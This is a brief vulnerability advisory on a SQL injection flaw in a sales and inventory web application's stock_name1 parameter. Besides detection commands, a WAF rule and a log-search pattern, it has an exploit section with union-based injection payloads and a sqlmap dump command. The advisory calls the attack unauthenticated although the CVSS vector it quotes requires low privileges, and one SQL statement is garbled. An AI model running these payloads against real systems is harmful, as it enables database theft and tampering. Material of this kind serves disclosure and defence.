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The vulnerability, identified as CVE-2026-3756, is an SQL Injection flaw found in the SourceCodester Sales and Inventory System, specifically affecting versions up to 1.0. The issue resides in the `/check_item_details.php` file. The vulnerability is triggered when an attacker manipulates the `stock_name1` parameter. By injecting malicious SQL code into this parameter via an HTTP request, an attacker can interfere with the queries the application makes to its database. This allows the attacker to view, modify, or delete database entries, bypass authentication, or execute other administrative operations on the database. The attack is classified as remote and does not require prior authentication. The exploit for this vulnerability has been made publicly available, increasing the risk of it being used in attacks. The published CVSS vector string (CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P) indicates a network-based attack vector with low complexity, requiring low privileges, and with a proof-of-concept exploit available.
dailycve form:
Platform: SourceCodester Sales
Version: up to v1.0
Vulnerability: SQL Injection
Severity: Medium
date: March 8, 2026
Prediction: Patch by April 2026
What Undercode Say:
Analytics:
To identify vulnerable instances, an analyst can use tools like `httpx` to check for the presence of the specific file.
httpx -l targets.txt -path "/check_item_details.php" -mc 200 -
Use `grep` to search for potentially malicious payloads in web server access logs.
grep -E "stock_name1=.('|--|;|union|select)" /var/log/apache2/access.log
Track references to the CVE in open-source intelligence feeds.
curl -s "https://cve.circl.lu/api/cve/CVE-2026-3756" | jq '.'
Exploit:
A proof-of-concept exploit involves sending a POST or GET request with a crafted `stock_name1` parameter to test for SQL injection .
-- Basic boolean-based payload to test for vulnerability http://target.com/check_item_details.php?stock_name1=test' AND '1'='1' -- - -- Union-based payload to extract database names http://target.com/check_item_details.php?stock_name1=test' UNION SELECT 1,group_concat(schema_name),3,4,5 FROM information_schema.schemata-- - -- Payload using sqlmap for automated exploitation sqlmap -u "http://target.com/check_item_details.php?stock_name1=test" -p stock_name1 --dbms=mysql --dump
Protection from this CVE:
The primary protection is to apply input validation and parameterized queries. Implement a Web Application Firewall (WAF) rule to block SQL injection attempts.
Example ModSecurity rule to block common SQLi patterns in the stock_name1 parameter SecRule ARGS:stock_name1 "@pm select union insert delete update drop create alter" "id:10001,phase:2,deny,status:403,msg:'SQL Injection Attempt Blocked'"
Ensure database user privileges are restricted. The application should not connect to the database as a high-privilege administrator.
-- Revoke unnecessary privileges from the application database user REVOKE FILE, PROCESS, SUPER, CREATE USER ON . FROM 'app_user'@'localhost';
Impact:
Successful exploitation allows an unauthenticated remote attacker to compromise the confidentiality, integrity, and availability of the data stored in the backend database. This can lead to unauthorized access to sensitive sales and inventory data, modification of stock levels or prices, and potentially complete database takeover. The public availability of the exploit lowers the barrier for attackers, making widespread scanning and attacks likely.
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Sources:
Reported By: nvd.nist.gov
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